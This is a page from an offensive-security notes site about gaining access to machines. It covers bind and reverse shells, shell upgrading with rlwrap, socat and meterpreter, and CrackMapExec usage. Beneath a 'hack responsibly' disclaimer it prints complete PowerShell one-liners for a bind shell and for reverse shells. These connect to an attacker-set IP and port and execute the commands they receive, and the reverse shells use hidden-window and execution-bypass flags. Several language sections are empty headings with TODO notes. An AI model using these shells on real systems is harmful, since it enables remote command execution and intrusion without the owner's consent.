search
githubEdit

Getting Access

circle-check

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

triangle-exclamation

Not much here yet...please feel free to contribute at my GitHub pagearrow-up-right.

hashtag
Bind Shell

PowerShell bind shell one-liner to set up shell listener. Need to customize port on listener.

#Listener on victim machine
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',$port);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
#Connect to listener with nc or similar
nc -nv $ip $port

hashtag
Reverse Shells

TODO: description and methodology for each section (as needed); Fix code examples so they can be used for scripting

hashtag
PowerShell Reverse Shells

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("$ip",$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$ip',$port);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

  • Need to customize the variables $ip and $port

hashtag
Python Reverse Shells

  • The variables ipAddress and port need to be customized. ipAddress must be a string, port must be an integer.

hashtag
Ruby Reverse Shells

hashtag
Perl Reverse Shells

  • The variables $ip and $port need to be customized. $ip must be a string, $port must be an integer.

hashtag
PHP Reverse Shell

hashtag
Meterpreter Reverse Shells

  • Windows Non-Staged reverse TCP

  • Windows Staged reverse TCP

hashtag
Improving Windows Reverse Shells

Usually, after catching a reverse shell from a Windows machine through netcat you already have a shell that has full functionality. However, on occasion your shell is limited in some ways that can be truly annoying. The features I miss the most are command history (and using the 'up' and 'down' arrows to cycle through them) and tab autocompletion. It can feel quite disorienting working in a shell that is missing these vital features.

Options for upgrading Windows reverse shells are more limited than they are coming from a Linux machine.

hashtag
rlwrap

You can mitigate some of the restrictions of poor netcat shells by wrapping the netcat listener with the rlwrap command. This is not installed in Kali Linux by default so you will need to install it using the command sudo apt install rlwrap -y. Other distributions may or may not have this installed or available in their package manager.

Start your netcat listener by first prefixing it with the rlwrap command, then specifying the port to listen on. Your shell will automatically be a bit more stable than running netcat by itself.

hashtag
socat

Another powerful tool that can be used to get functional shells, do port forwarding, and much more is socatarrow-up-right. (Windows version: https://github.com/3ndG4me/socatarrow-up-right)

  1. From your attack platform create a listener

  1. Upload to or compile socat.exe on the Windows victim machine.

  2. On the Windows victim create the reverse shell back to your waiting listener.

hashtag
meterpreter

Another method of upgrading the functionality of a Windows reverse shell that I know is to create a reverse shell payload that calls a meterpreter interactive shell. This shell interacts with the Metasploit Framework to provide additional functionality such as uploading and downloading files, attempting to elevate privileges to System, and more.

hashtag
netsh port forwarding

hashtag
CrackMapExec

TODO: is this enumeration, access, or privesc?

To use against a specific protocol run cme $protocol $options

hashtag
Using Kerberos

CME supports Kerberos authentication using the --kerberos flag. You must also export the KRB5CCNAME environment variable to specify the ticket. You can get this ticket using Impacket's GetTGT.py.

circle-info

When using the option --kerberos, you must specify the same hostname (FQDN) as the one from the Kerberos ticket.

hashtag
Use CME against an IPv6 address

Using SSH tunnel on the local host. For best results save the ipv6 address to /etc/hosts and use the hostname instead.

hashtag
Modules

CME also supports modules, such as mimikatz

If you like this content and would like to see more, please consider buying me a coffeearrow-up-right!

PreviousEnumerationNextPrivilege Escalation

Last updated